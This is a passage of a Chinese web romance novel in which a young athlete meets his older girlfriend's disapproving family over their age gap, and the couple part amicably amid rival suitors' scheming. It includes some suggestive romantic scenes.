“对,和周律师的失败让我心里没底,我不敢随便带你去见我的家人,你还记得前几天你跟我讲了什么吗?” 前些天,许野和国家队签完合同,和邢葵交代了他接下来要做的事。 明年就是奥运会,今年七月份起许野要参加各类比赛积累积分,提升世界排名,好争取奥运比赛名额。 “你在我心里已经很好很好了,许野,只不过,在我家那里,体育画画那些,刻板印象认为只有差生才会去学,我得避免出现这种问题。 那天你跟我讲了你要打的比赛,七月份、八月份……说真的,钻石联赛什么的,我家里人听不懂的,但是九月到十月,有个国际田径挑战赛。 前缀‘国际’两个字,我想他们应该能感觉到厉害。你要是能在那场比赛得到好名次,我好跟我家里人吹,好在他们那里给你加分。 而且十月份国庆节呀,放假期间人也开心,我想他们可能也能对我们友善点?” 邢葵歪头思索,放弃思索,俯下了身体,从许野身后趴到他肌肉起伏的肩上,“反正我尽全力咯,你也要给我加油,跑个好名次出来,听到没?” 许野胸膛发烫起伏,定在十月份是因为邢葵想靠那场比赛,让他在她家人那里加分。 她待他真好! 都想群发消息给厉哥、周哥、江哥,大声告诉他们,邢葵期望他、甚至想帮助他成为解决一切问题的答案。 休想撬他墙角! “我一定会拿到第一名的!”许野伸手,直接将邢葵从后面捞到他腿上,单手盖住她的脸亲吻。 邢葵连忙用手挡嘴:“我说的是理想情况啦,可能会有这样那样的意外,唔。” 许野拨开她的手,含住她的唇:“我知道,宝宝,比如我技术很烂,你不想要我了。” 啊?这不是江玉鸣之前说的,他还在介意啊,胸膛贴着她的胸膛,她能感受到属于许野的心跳,很快,很响,昭示它主人热烈的情意。 许野抱着她起身,他身材威武,力大无穷,几乎是将她举起来亲吻,邢葵害怕掉地上,双腿钳紧他,他体温炽热,温度不断向她传递。 结实有弹力的肌肉贴撞她的身体,邢葵搂住他的脖颈,在唇齿触碰中,余光瞥见地点,许野抱着她走到了换下的衣物前,鬼鬼祟祟从裤子口袋里掏出一个小盒。 他以为她没睁眼,移回眼与她视线擦过,瞬间从脸红到脖颈。 邢葵调侃:“我是装看见还是没看见?” 许野害了羞,暖黄色的灯光照在他颈肩线条,小麦色的喉结咽动着,野欲性感。 “好像不能装没看见。”邢葵分出一只手从许野的喉结开始滑,“你说得对,技术也是一个打分项,是得检验下,网上好多帖子,结婚后才发现另一半是中看不中用的一秒男,多憋屈啊。” “我不是!” “口说无凭,证明给我看。” 主卧关掉大灯,皎洁的月辉抚照鹅黄色的睡衣,似情人旖旎的触碰,撇头,月光照到眼眸,刺得眼里生理性蓄泪。 邢葵抓了抓床褥子,不知道今晚气温多少度,她自额头起都在生汗,热量蒸腾了空气,她眼前都有些花。 房顶的灯是极简风,由不算细也不算粗的灯管组合,邢葵视线下落,手按住被褥后移:“这不对!” 真是眼花了,屋顶上的灯管怎么并排拼在一起了。 她急急地喘,想坐起身,许野抓住她的手腕:“怎么了?不是不怕我了吗?” 汗湿润许野额前碎发,他呼吸失节,氤氲热气的眸有点委屈地望着她。 他还委屈,邢葵都想跑了。 “这个不行。” “行的宝宝。”带着热量的话语落到邢葵脸颊,烫红她的脸,许野的脸蹭着她的脸,“保证等到时机,不会让你疼。” 窗外月亮高高,邢葵遥望小区里绿化带的树,她听小区管理员说,这些树价格昂贵,千万别手欠折枝条,折下来要按粗细罚款。 她当时就警告了自己,她银行卡里钱有限,再冲动也不能惹这种事。 这下好了吧,得倾家荡产了。 即将入夏,夜晚时间会变短,这个夜晚却离奇漫长。 邢葵睡过去前,都要凶巴巴咬着许野的脖子说一句:“赔我钱!” 浴室,许野擦净身体,又回到床上,床边他的手机亮个不停,他望了望睡着的邢葵,点开。 甜甜的恋爱会找上我:【哥终于拿到手机了!!!!】 【许野!我讨厌你!】 【以后我最讨厌肌肉男!】 【我老婆被肌肉男拐跑了!】 【该死的肌肉男迷得我老婆五迷三道,她都不回我消息了!】 【(图片)】 【这肌肉,也没多好看,切~】 许野点开那张图片:“……” 床上的邢葵翻了个身,许野迅速划掉微信,看她不像醒来,又点开,再放大仔细看。 两条手臂环住他的腰,邢葵蹭了蹭他的皮肤,眼睛半睁半眯:“看什么呀,你的肌肉跟我拍的那时候比也没差呀。” 亮着的手机屏幕黑掉,许野躺下,攥住她的手指:“嗯,你喜欢吗?” 邢葵眸子眯成缝,嘴角也翘起来:“喜欢。” “那既然醒了,我们能继续吗?” “……”年轻人精力真旺盛啊,好吧! 夜晚安静,日光盖过月光,赛场上激动人心的喊叫声也震动耳膜。 环形的观众席包裹赛场,金秋十月,k国中心城市,田径赛道上选手正在疾奔,解说员面红耳赤地喊着。 第20届国际田径挑战赛,许野选手已接连夺下男子100米、200米金牌,只要今日最后一场4×100米接力赛再次夺冠,他将斩获三枚金牌! 观众席第一排,邢葵抓着小国旗,盯着赛道上来自祖国的运动员,结果毋庸置疑,矫健的大腿迈过终点线,许野喘息着,灿烂笑着,向她挥动手臂。 他们约好的,拿下金牌就去见邢葵家人。 邢葵笑起来:“走吧。” “不能让他们去。”飞 机驶过天空,机场,男人快步走出通道,灰色的衬衫领口扣子未扭,露出来的脖颈修长,“去阻止。” “阻止不了哦。”几名中年妇女端着饭碗走来走去,门口的桌子旁,江玉鸣撑着漂亮的下巴打电话,长手长腿,艳丽得似朵花,频频惹来注视。 “面来了。”中年妇女服务员端上一碗面,光明正大地“偷看”这位陌生客人。 江玉鸣冲她眯眼笑,妇人“哎呦”了一声,不好意思地甩了下手,边返回后厨边蛐蛐:“一个大男人长这么妖怪。” “我想他俩应该已经登上飞机了吧。”江玉鸣对手机里的周镜说。 周镜走进行李提取大厅,顿足:“你不在京江市。” 这是一个肯定句。 “你在哪儿?” 江玉鸣抽了张面纸擦筷子,小地方自营店铺的员工,多是四五十岁甚至不止的女性,只上过小学初中,拿着两千的工资,过着每天嗑瓜子的生活。 “谁家亲戚啊?” “不晓得,长得跟妖精似的。” “是不是卖鸡蛋的李老四家的,他有个干儿子听说在国外哩。” …… 今天,江玉鸣就是她们的瓜子。 江玉鸣夹起面上香喷喷的大排,弯唇:“我在葵葵的家乡啊,等她和许野分手,我好第一时间给她温暖的拥抱。” 第62章 车辆驶在田野小道,邢葵靠着汽车窗户,没戴帽子,额头疤痕浅浅的,是过去几个月做了几次激光的成果,再做一次激光就没了。 田径赛在国外办,飞机飞了几个小时到达甘临市和昌川市共用机场,之后她和许野上了许野提前安排好的车。 她家在甘临市嘉正区兴虹镇,小镇经济不好,车辆在田野尽头拐弯,镇上一块块斑驳发灰的墙壁进入视野。 霞光满天,空气清新,几家店铺的老板坐店门外,聊着天,剥着毛豆,摆摊的老人家拿着一把芭蕉扇,慢悠悠地扇,视线探望着过路的人。 许野坐在她身侧,手指蜷起攥着裤子,嘴巴小幅度张张合合,似默念着什么,紧张得与车外环境格格不入。 邢葵凑过去听,从赛场下来,许野洗了澡,换了身和他平时风格不同的衣服,蓝色衬衫加黑色长裤,要不是邢葵怕他热晕,他还想套件西装。 “伯父伯母您好,我叫许野,我……宝宝别看我。” 背着开场白的许野脸泛赤红,被邢葵听见那些话,目光都不知道该放哪里。 邢葵不禁笑,抓住他的手,指腹蹭了蹭他手心的汗:“怎么办,许野,我今天又更喜欢你了。” 自七月起就在各大比赛摘下一块块金牌的王者,通红了耳廓,收手,与她的紧握:“我心跳得很快。” “我也是。”行驶的车辆中,小情侣的手握在一起,“但我们已经做足了准备,我想不出你还有任何扣分项。” 江玉鸣也这么觉得,他坐在小镇面馆,跟周镜嘴硬要等邢葵分手,表情并不好看。 绯艳的唇张开咬了口大排,邢葵跟江玉鸣说过,她在镇里上小学那会儿,最期待妈妈带她去学校对面的餐馆吃大排面。 咀嚼着邢葵吃过的食物,江玉鸣强压着澎湃的想将邢葵从许野身旁拽过来强吻的欲望。 五个月了,整整五个月都没亲过邢葵了。江玉鸣嘴痒难耐,以前二十多年他没碰过异性也没想过,这五个月却像有一把火焰缠着他的身体缓慢地烧。 他每天晚上都在幻想,扒开、舌忝,让她坐他脸、让他吃她。 邢葵真有原则,说不接受小三就真不接受,过去江玉鸣回回魅惑都有用,当她正式有了男朋友,身上仿佛加了免疫buff,五个月内江玉鸣没成功过一次。 得亏厉乘川也没少吃瘪,江玉鸣靠着幸灾乐祸和幻想撑下来。 可今天邢葵要带许野见家长了,他发自内心恶毒地诅咒许野,最好还有哪里有问题,他迫不及待地想见邢葵恢复单身。 即便这样诅咒,但江玉鸣也想不到许野还有哪点扣分项,要不他真去找个大仙诅咒诅咒他好了,灵不灵的另说,他就想出口气。 江玉鸣撇过撩人的脸,听到隔壁桌的谈论,说是镇上有个王半瞎特别神,她认识个人去替女儿求姻缘,当月人家就谈上了。 “她那姑娘都要三十了,眼高手低谁都看不上,王半瞎就给了她一张符,让她回去,摘桃树上最东边枝上的桃花,和符一起烧水喝,喝的时候向观音娘娘虔诚许愿三遍,你猜怎么着,神了!没几天她姑娘就说有对象了!” 江玉鸣听着,收回关注,要喝乱七八糟的符水啊,算了吧,回头他还是去找厉乘川玩,看他不爽他就爽了。 “真的假的?这么神?” “不信你去问问啊!就牛奶店王玉香她老公妹妹,邢家老二邢春霞,认识不?人姑娘现在谈了个博士呢。” 江玉鸣吃面的动作停住,邢春霞,邢葵妈妈? 博士男友?许野? 哇哦,还有意外之喜呢。 小镇人少,如果说只要六个人就能认识全世界,那么这里走两步碰到的行人都能关系到邢葵。 她回来的消息,自她踏出车门,见到第一个人开始,就向外发散,小情侣给彼此加油打着气,拎着大包小包,往邢葵的家走去。 邢氏祖上没钱还爱生,在人数上算得上大家族,放眼望去一排排人家几乎都与邢家有关,邢葵路上经过小河还看到大堂叔邢光宗在钓鱼。 上一回,邢葵和周镜过于仓促,这一回,她跟许野做足准备,许野连奖牌都带了过来,前几天晚上起夜,邢葵还发现他偷偷在写给她家长的保证书。 应该,不该有问题。 “春霞,晚上烧这么多菜,是要招待女婿吧?听说你姑娘又谈了个博士,今儿要带回来呢。” 邢葵:博士?啊? 她跟邢母说的是在读书,比她小啊,怎就成博士了?噢噢,大概妈妈误解成小一两岁了,所以读的是博士。 小问题小问题。邢葵向紧绷的许野递了个安抚的眼神,推开家门:“什么博士啊,谁谣传的,王娟姨妈,我男朋友没读博呢。” 家里虽不富裕,家具等等都是平价货,但干净得能反光,一看就知道,邢母好不容易有假期,第一件事就给全家大扫除。 而屋子里的众人看他们,也一看就知道,邢葵的男友也就二十岁左右。 当场,几个人表情就变了。 整得邢葵心里都有点忐忑,她没记错啊,她的的确确听家里人说过,她有个亲戚相差十岁。 好在邢母挤出了笑:“葵葵家来了!快过来让我看看身体怎么样了。” 邢葵松了口气,走向邢母,步伐和正常人别无二致,她的腿好了,就是如今下雨天的时候膝盖会疼,算是个小小的后遗症吧,小事情。 邢母抓住她的两肩,对着她的脸左瞧右看:“嗯,疤要看不到了。” 叫了圈亲戚名,邢葵清楚许野紧张,看了看拎着东西的许野,给他找点活干:“水果放桌上吧,这几箱营养品放后面第二间房间地上,妈,全是许野给你买的。” 正值国庆,家里不止邢母,刚刚说话的王娟姨妈,是邢母四弟老婆的姐姐,其他几位也跟邢家沾点关系。 都是来找邢母打麻将的,邢葵笑着调侃:“妈,你这放假还‘工作’啊。” “不行啊?妈又 不像你会打电脑。”邢母嗔道。 屋子里的人莫名其妙地在互相看,用眼神蛐蛐着什么,邢母转向他们笑呵呵,“我姑娘瞧着真年轻哦,哪里像二十大几的人,难怪能谈到小年轻!” 邢葵亮了亮眼睛,这是妈妈在铺台阶,她愿意接纳她跟许野在一起。 她就说嘛,有相差十岁的亲戚例子在,她这事儿也很好被认可的,家里其他人在大惊小怪什么。 一名亲戚挑刺:“看着小有什么用啊,葵葵年龄到了,怎么谈个这么小的啊,是不是蒙我们的啊?” 她笑得眼角全是皱纹,明明说的内容很没礼貌。邢葵也学着她的样子笑:“看着小挺好的呀,哎?你家小全哥前几年去相亲,人女方是不是以为他跟她差辈来着?” 亲戚脸僵了。 另一名亲戚随即笑起来:“葵葵嘴还挺厉害的嘛,长辈说的话都听不进去。” 邢葵同样学着她的模样笑:“我听啊,我听我妈的。”——你们是我妈吗?管得真多。 她用轻快、玩笑似的口吻,游刃有余地化解着每一道刺向她的攻击。不会让他们完全下不来台,毕竟他们要是下不来台,等她不在,他们就会让邢母下不来台。 这些人脸皮也厚,又问:“那你男朋友是什么专业的啊,以后要做什么啊?哟,小伙子回来了。” 其实许野的长相是家长会喜欢的类型,邢葵看着他走回来,周镜在家长眼里瘦了,江玉鸣在家长眼里妖里妖气,但许野浓眉大眼、身强体健,家长瞧一眼就满意。 “体能训练专业,现在是运动员,以后也是。”许野拘谨地袒露,提到此想掏口袋拿出热乎乎的金牌,怎料这些人却告起别。 “体育生啊,哎哟,春霞啊,不早了,我们先走了,等吃完饭来你家打麻将啊。” 走就走吧,去外面八卦吧,邢葵懒得搭理他们,拍了拍许野小臂,让他别紧张,只是她也紧张,注意到妈妈在亲戚走后收起笑,开始打电话。 “喂,你早上五点就出门打麻将了,到这会儿还不回家?你姑娘回来了,快回来。” 怎么了嘛,有差十岁的例子在先,不该有事啊。 一顿饭邢葵都不知道吃了什么,饭桌上邢母询问许野岁数,他也直觉不对劲,往大了说他二十岁,实际上他离二十岁还差几天。 但邢母的表情仍旧不好看,邢葵发觉她频频看手机,貌似是某个家庭群,大概是那些离开的亲戚在传播她家的事。 信息跳跃着,邢母的神情越来越难看,起初她是正向的态度,但现在好像……邢葵有种不详的预感。 这种预感在晚饭后,李正军挺着大肚腩回来后成了真,父母坐在她和许野对面,满脸严肃,希望他俩分手:“许野是吧?我们就直说了,你跟葵葵不合适,还是分开吧。” 邢葵不可置信:“你们说什么?” 许野也惊愕,更怕邢葵受伤,一只手握住她的手。 李正军戾气十足的眼神扫向他俩:“你要跟个体育生在一起,当初我让你上高中干什么?干脆初中毕业就跟我进厂好了。” 邢葵短促地笑了一声:“体育生不都是废物,你要这么觉得,奥运场上全是废物。” 李正军声音如铁:“那是奥运,他参加奥运吗?” 邢葵反问:“你就确定他不参加?他拿过很多大奖,今早有场国际比赛还拿了金牌。” 对,许野配合邢葵的话掏起金牌,他过去数月都在为这一刻努力,他还准备了保证书,要向邢葵父母承诺会一辈子对她好。 可,金牌边缘刚出口袋,李正军怒气上脸:“让你读书就是让你顶长辈嘴的?我管他跑得有多快,跟个小男生谈恋爱你好意思!” 邢葵怔了怔,恍然,归根结底还是许野的年龄问题,其他话只是找茬:“我跟他相差八岁,就八岁,咱们家不是有亲戚差十岁吗?” “什么?那是男的比女的大,你个女的怎么好意思的啊!我的脸都被你丢尽了!” 李正军面红得赛关公,邢葵彻底僵住,亲戚太多了,很多她从小至今都没见过面,她不知道那户亲戚是男的比女的大,直到现在,她知道了,也不理解。 惶惑、不甘、委屈,为什么? “为什么不能女的比男的大?男女是平等的,既然能男的比女的大,就能女的比男的大。”邢葵问着,眼里情不自禁波动泪花。 邢母看着女儿生泪,眼眶也泛起红:“三岁还好,八岁,太丢人了葵葵,本来我想接受的,但,你晓得多少个亲戚在聊这事吗?就算我接受了,他们也没法接受,我不能让你被说一辈子啊。” 邢葵身体都在发抖,紧紧握着许野的手汲取力量,张了张嘴忍泪,泪珠还是从眼眶滴下到手背。 “是他们有病,妈,许野能带给我的,是他们想象不到的多。” 李正军冷笑:“他能带来什么啊?他是能突然增加八岁吗?你书读头顶上去了。” 他能带来一千亿,他能让你这个废物出轨男,一夜变成金诺言继承人的爸,让你可以在饭桌上取出昂贵的烟酒大肆吹嘘。 邢葵深深地呼吸,她不想说了,她想瞧瞧李正军得知他错过一千亿的嘴脸。 何况金钱改变不了本质,它能堵上李正军的嘴,能让亲戚嫉妒扭曲,但杀不死蛇虫鼠蚁。 他们依然会在背后蛐蛐,甚至因为妒忌,更加过分,十年,二十年…… 年龄差距,永不可消。 邢葵看向许野,他一直在陪伴她、支撑她,她能不在意外界言论,可她的家人在意,她的家人在意,就会折磨他们一辈子。 “我知道了,妈,过几天告诉你我的决定,许野,我们回家。” “你回哪儿?才回家。”邢母愣神。 “我想这个家不欢迎我。” 感觉在路上看到江玉鸣那个骚包了,眼花了吧。京江市,邢葵在自家玄关转身,抱住许野,亲了他很久:“过些天你生日,想要什么礼物?” 许野低着眸,与她十指紧缠:“反正不是分手。” 邢葵轻声念他的名字:“许野。” 他好几分钟没说话:“生日那天我家要办派对,厉哥周哥江哥都会来,我想……” “你想什么?” 许野耳朵红透,甚至有些忸怩,不敢看她,几秒后迅速凑近她耳朵道:“我想他们在前面参加派对,我们在后面接吻。” 邢葵抬了一下眉毛,抿着的嘴憋着笑:“你、你小子玩挺大啊。” “宝宝。”暖烘烘的手掌贴到她腰后,许野低头,用他有些扎的头发拱了拱她的颈窝,“我们分手的话,他们会很开心,我不开心他们也不许开心。” 邢葵抚摸颈间脑袋,许野比她高太多,为了碰到她脖子,他的腿都快跪在了地上,是他潜意识在哀求她。 分手可以,许野想要喜气洋洋、张灯结彩、轰轰烈烈,他要告诉别人,他没输,不过是从男朋友变成追求者,其他人可别得意。 邢葵和许野在玄关谈论着,殊不知,大门之外,某位美艳得发光的江医生快贴在了门上。 让他听听,听不太清,嗯?分手?那他是不是能……!谁戳他? 江玉鸣偏头,看到站身后的厉乘川,变脸达人立即竖起一根手指抵唇:“嘘。” 他招手,揽住厉乘川的肩,哥俩好地拉他一同贴门,“老厉,来跟我一起听,我刚听到许野说分手,老厉,我真替你高兴啊!” 第63章 要分手?为什么? 厉乘川用狐疑的眼光对着江玉鸣,下意识跟着侧耳,与他一同挤在邢葵家门口,贴在她家的门窃听,眸里颤动隐秘的期待。 江玉鸣知道原因,五个月来邢葵吃了秤砣铁了心,他们百般拆散,一次没起过作用,与许野实在切合她对解决催婚对象的要求脱不了关系。 然而,许野成也年纪败也年纪,邢家所在小镇的居民十分热情,嘴也十分不严实,白天江玉鸣随便旁敲侧击,便收获了海量信息。 原本他们都认为邢葵有对亲戚夫妻相差十岁,那么许野和她的年龄差也不会成为阻碍。 谁能想到那对亲戚是男方比女方大,谁能想到只是男女性别调换一下,外人态度天差地别。 虽说江玉鸣因为邢葵即将分手兴奋,但他只幸许野的灾祸,对邢葵只有心疼。 许野最好今晚好好地伺候她,让她分不出 空来难过。 至于江玉鸣他自己,今晚可以再委屈一下,在梦里舔干净她落下的泪。 “你俩是不是有病?”嘎吱,门倏地打开,邢葵额角抽动,她人就在玄关,这两位在她门口再小声,她听不清说什么,一点动静总听得见。 正处于偷听姿势的厉乘川和江玉鸣:…… 二人直起身,江玉鸣拍拍厉乘川肩膀:“老厉,我就怀疑走错门了吧,难怪钥匙对不上,走吧,我们去你家喝一杯。” 不是偷听,是在开门……江玉鸣!你以为她信啊!厉乘川!你耳朵红了! 邢葵瞪了眼勾肩搭背走的两个男人,砰地阖上家门。 站在门内倒数五秒,又打开,瞪向试图折返的两人:“你俩还不走!” 两个男人一个看左一个看右,他们就想确认一下邢葵是不是真的要分。 邢葵有些无奈,这时,许野从她身后走出,麦芽糖般的手按住她的双肩:“我们还是男女朋友,两位哥哥,请不要打扰我跟你们的弟妹。” “还是”?这么说快不是了!没几天就是许野二十岁生辰,邢葵应当是想过了那天再分。 鬼要邢葵当弟妹啊,日后请叫她嫂嫂。 邢葵家右边对门之后,一片幽深的黑暗中,戴有金灰色腕表的手举起水杯递到薄唇前,阔别多月的男人从容抿了一口水。 闪耀的水晶灯在巨大的喷泉池边排列整齐,钢琴优雅的音符缭绕庄园,派对衣香鬓影,宾客觥筹交错,黑衣侍者端着昂贵的美酒穿梭其中。 庄园最高建筑最顶端的房间里,一排奢华礼服之后,邢葵靠着墙,微微仰颈呵息,杏仁黄的礼裙下,脚背绷直。 室内弥漫着水蜜桃的香气,是热汗使得沐浴露的气味挥发。 邢葵轻轻地颤,脱力的脚趾踩上许野的鞋,汗也滴落上去,她热红脸颊,盯了盯许野再次脏掉的衣裳。 许野深褐色的眸子迷离,伸手取来果汁:“宝宝,渴了么?” 邢葵一口气喝了半杯,是综合果汁,她上楼那会儿见到厨师在榨,什么橙子苹果,那表皮光滑得能反光,一点瑕疵也无。 看她喝果汁,许野也喉结滚动:“宝宝,我也想喝。” 华丽的灯光照着杯里的果汁,水面荡漾圈圈涟漪,邢葵眯着眼睛,愿意纵容今天的寿星,过去几天许野一直占据她的精力,不让她想糟心的事。 可他们终归要走到终点,面对现实,一根手指按上小麦色的额心:“许野,我们得分手了。” “我不想分手。”许野起来,抱住她,乱糟糟的头发扎上她的颈间,好似伴随湿热的泪,“我怕别人会让你疼。” 他的胸膛饱满,情绪鼓囊囊,哪里都鼓囊囊,虽然说着不想分手,却没有为难邢葵,因为停留也会让邢葵疼,“再来一次吧。” 邢葵望了望地面衣物:“你知道已经让人送了几波衣服了吗?” 许野实诚:“不知道,幸福昏了没数,外面的哥哥们应该知道吧。” 邢葵:“……” 提到哥哥,许弟弟精神振奋,往她脖子上落吻:“我跟你接吻的次数有比周哥江哥多吗?我想比他们多再分手。” “我变态啊记这个。”邢葵害羞地捂住脸,不过说起来,好像她是了解的。 和周镜那时候,周镜每日接吻规律,按照天数算算就有次数,加上最后一天的,大约四十次。 和江玉鸣,她没算,但她跟许野在一起第一天那会儿,江玉鸣自己讲过,十九次。 邢葵想想,她都跟许野交往五个月了,就算隔一天亲一次,都要比以上两位多,嗯……以上两位应该没算吧…… 当然,是算的。派对如云的宾客中,周镜晃动香槟杯,简单的灰条纹白色衬衫配西装裤,身材高挑修长,散发着看似温和实则冷淡的气质。 他没想去攀比次数,在他看来那很无趣,亲再多次也不是最终赢家,奈何着实聪明,想法闪电般擦过脑子,一道公式和它的结果就列了出来。 哪怕隔两天亲一次,许野都要超过他。 不悦的情绪,使得周镜眉眼微蹙,喝着香槟,盯着后面大楼。 许野还要缠着葵葵多久?都换过三波衣服了。 同样的问题也沉淀在另外两人心里,角落红酒喷泉机旁,厉江二人并排,不断有人接近攀谈,厉乘川厌恶不必要的交际,江玉鸣则是左右逢源的交际花,二人互补,措置裕如,但仅限于表面。 迷人笑着的江玉鸣,只想甩掉厉乘川,冲进邢葵在的屋子,拨开许野,换他上。 他才亲过十九次!都没赶得上周镜的一半,就有新的贱人超越了他。 冷脸排外的厉乘川,在想如何算计江玉鸣去开许野的房门,把人揪出来。 “老厉,想什么呢?” 在想你比较不要脸,厉乘川拿出手机望了眼:“几点了,寿星还不露面。” 江玉鸣弯眼:“这么心焦。” 厉乘川抿唇,像在心中喟叹,锋利如刀的眉目沉着些许燥意:“你不懂这种老婆在跟兄弟谈恋爱的感受。” 江玉鸣挑了挑眉:“是,我不懂。” 顶楼房间,邢葵换上一身黑色缀有金色星星的礼服走出,与许野和平分手,两人一同往楼下走,下一个楼层,谢成雯正在吃甜点。 一见到他俩,举起叉子:“葵啊。” 邢葵走过去:“谢伯母。”她歉然,“让您久等了,我说过十月份要给您答复,恐怕,我不能接受金诺言的继承权。” “没事,不用紧张。”谢成雯已经听许野讲过情况,和善地笑着,“那样的状况,你要接受了,我反而不会给你。” 她含笑低头,“一个不顾及母亲的人,我怎能相信她能对我儿子好。”谢成雯叉了一块精致的小甜点,这样漂亮的、由全球顶级甜点师亲手制作的甜点,邢母一辈子都没尝过。 邢母一生都奉献给了家庭,嫁人前,初中结束就被她的父亲押送进工厂,让她打工赚钱养家;嫁人后,她的人生只是从要供养一个家庭变成了供养三个:她父母的、她自己的、她老公父母的。 不像背叛妻女的邢父,邢母几十年本本分分。 邢葵能成长为优秀的人,谢成雯相信,有邢母的功劳,或许邢母年轻时也有过锐气,会教育女儿要争气,会在邢父说“女孩子该怎么样怎么样”的时候跟他激烈争执。 外界的眼光邢葵能不在意,可她母亲会为此受伤,假如邢葵无视母亲一意孤行,谢成雯立即便会出手棒打鸳鸯。 而邢葵没有。 所以谢成雯此时此刻,对邢葵的欣赏更胜从前。 她看过太多读了比母亲更多书的子女,到头来怨憎母亲愚昧,怨憎母亲束住他们手脚,而邢葵与他们不同。 她非常像纯粹的金子,只不过,她也因为她的好在涛澜汹涌中沉沉浮浮。 谢成雯端起桌面甜点盘,雕刻花纹的盘子边缘绘着“GPROMISE”的logo:“你先去楼下吧,我有点私密话要跟我儿子聊。” 邢葵离去,许野看向母亲:“妈,那家里的继承人……” 这件事,以前谢成雯就跟他商议过,说希望他的妻子能继承,这会儿邢葵和许野分手,可许野感觉他不会再喜欢上别人。 谢成雯坐在圆桌旁,双手十指交叉:“儿子,你觉得妈老了吗?” 许野否认:“没有。” 谢成雯点点头:“嗯,妈也觉得,妈还能再叱咤风云几十年,先让我们葵闯闯吧,我很好奇她最后会发展成什么样。” 许野眼睛一亮:“你的意思是?” 谢成雯拍手:“我太满意这个继承人了!日后她不是我儿媳妇,是什么老厉老周家的儿媳妇,我跟你急!快跟我透露透露你下一步要怎么办,快快快。” 有长辈的支持无疑能加不少分,许野弯了弯嘴角:“我预备送邢葵一份礼物……” 派对厅内,邢葵走进去 ,一袭黑金长裙,像夜幕下的向日葵,角落红酒喷泉机旁,厉乘川终于露出一丝笑:“我准备了一份礼物给邢葵。” 江玉鸣:巧了,他也有一份。 远处的周镜放下香槟杯,好久不见葵葵,他自然要为葵葵备份礼物。 许家庄园之外,一辆豪车停下,后座下来一个肚子有两个足球大的男人。 李正军从车后座拎出一箱牛奶,扭过头,哎哟我滴个乖乖,他女儿男朋友的家这么豪华呢? 白天四辆——在李正军眼里油光发亮的车来到老家,点名要接他去参加许野生日宴,邢春霞要跟,司机都不让。 什么生日宴?李正军听着以为是邢葵不肯跟许野分手,横戈跃马就要来跟许野父母说道说道,邢母非让他提一箱牛奶,本来他任何东西都不想带。 拎了拎牛奶,李正军在庄园门口张望几眼,觉得这地方大概是租的,就算不是租的,许家应该也只是一般有钱。 谁家富商住山里,爱被蚊子叮啊?他要有钱了,肯定住市中心高楼大厦。 司机陪着他走到入口,入口站着保镖,要求检查请柬。 李正军:“什么东西?” 保镖上下扫了扫他,身材管理很像富人,穿着打扮一点不像,再看看他手中牛奶,金诺言对家品牌! 当即,保镖肃声阻拦:“许少爷生日,没请柬不能进。” 李正军是个“老实人”,保镖声音凶一些,他就不敢放肆,缩起头缩起尾,求助地看向身旁司机:“你是不是开错地方了?” “没错。”司机迈上前,“他是少爷女朋友邢葵小姐的爸,你进去问一下就知道了。” 保镖僵了僵,今日少爷带邢葵回来的时候,他见过一眼,原谅他文化程度不高,看少爷那对女友呵护备至的样儿,脑子里只有三个字:爱惨了。 完了,他刚刚没对少爷岳丈口气很差吧? 李正军比他还傻,拎着牛奶不知所措,什么少爷,什么邢葵小姐,还有保镖为什么态度骤变……“司机师傅,这……” 司机牢记主子嘱咐,一路紧闭嘴巴,直到这时才吐出秘密:“哦,你知道金诺言吗?就那个全国各地乃至全球开得到处都是的金诺言,就那个市值超过一千亿的金诺言,你女儿的男朋友,是金诺言老板的儿子,独子。” 李正军头晕目眩,金诺言、一千亿、女儿、男朋友……完了,他前些天没对女婿口气很差吧? 自庄园门口到派对中心有一段不短的路,被许家仆人领进去,李正军腿都哆嗦,但越走越生风,左瞧右看。 邢葵没料到李正军会出现在这里,走到喷泉池边,看到身后收到通报的谢成雯和许野走向她。 跟随她的目光,李正军也看见了容貌相似的母子,他猜出年长女性身份,脸上堆出笑:“这位是亲家母吧?” 年龄差八岁算什么,他这辈子没见过如此富有的家庭,只要钱够多,李正军能捂住耳朵点头。 谢成雯微微一笑:“已经不是咯,我儿子和你女儿不久前分手了。” 李正军差点站不稳,瞪了邢葵一眼:“这孩子任性,从小被她妈惯坏了,我想这事情还能商量商量。” “商量什么?” 邢葵捏拳,李正军一点都没提他要她和许野分手时的狰狞嘴脸,更怪到邢母头上,要她分手,又要她复合,凭什么?她又不在意出轨男的想法! 她看了眼谢成雯和许野,“你亲口说的,‘不管许野跑多快’,你不会觉得这样的家庭会给你第二次机会吧?说出去的话就像泼出去的水,恭喜你,泼出去一千亿。” 李正军大震,没有第二次机会,他泼出去一千亿,谢成雯配合地说“对,恭喜”,李正军双目睁圆,失去平衡摇摇欲坠,一千亿!那可是一千亿! 爽了!看到出轨男吃瘪,邢葵通体舒畅,她是想见见李正军得知失去千亿的表情,这一晚成了真,谁把李正军带来的啊?还只带了李正军没带邢母,天才,真得感谢感谢这个人。 “谁送你来的。”邢葵问。 李正军还沉浸在错过一千亿的悔痛里,有气无力:“我坐了一辆车。” 邢葵望望身边,左边站着许野,左后方周镜在过来,右后方厉乘川和江玉鸣也在过来,帮她的人在他们四个之中? “什么车?” “一辆会发亮的车。” 四个男人都抵达邢葵附近,他们想到了同一份送邢葵的礼物,奈何李正军就一个人,只能坐上一辆车。 具体上的是哪一辆,司机接到人必定会向雇主汇报,他们心中有答案,但另外三位看出李正军讲不出所以然,想争抢一番功劳。 以至于四个人同时要开口。 “是我的。”蓦地,谢成雯搭上邢葵的肩,“葵啊,我想见一眼你家长,不会怪伯母吧?” 厉乘川&周镜&江玉鸣:“……” 三道利剑似的目光扎向许野,你母亲怎么抢他/他/他功劳? 许野摸了下鼻子,他母亲连他功劳也抢了。 李正军上的那辆车是许野派去的,由谢成雯领功也行吧。 来的时候有四辆车接,李正军要走了没一个人开口说送,他也没胆量向富豪们提,只敢跟邢葵甩脸色。 “放着金龟婿不要,我看你以后怎么办。” 怎么办都用不着你管,邢葵一点不理会他,见李正军打车垂头丧气地离开,也跟谢成雯他们道别。 此前,她的人生职业规划有三个选项,如今已经决出答案。 今晚回去她要找找MCN公司资料。 同一个夜晚也有别的事在发生,比如相亲相爱兄弟群所有兄弟,都收到了一条群成员变动消息。 【“3丨”将“run”移出了群聊】 再比如,被踢出群的许野站在许家健身房,向某一位兄弟发去消息。 【我觉得邢葵挺不错的,你对她误解太深,去了解了解她吧。】 第64章 咚咚。 晨光轻柔,在门上投下细碎光斑,邢葵站在自家门右前方一户人家前,敲响了那扇没贴春联的门。 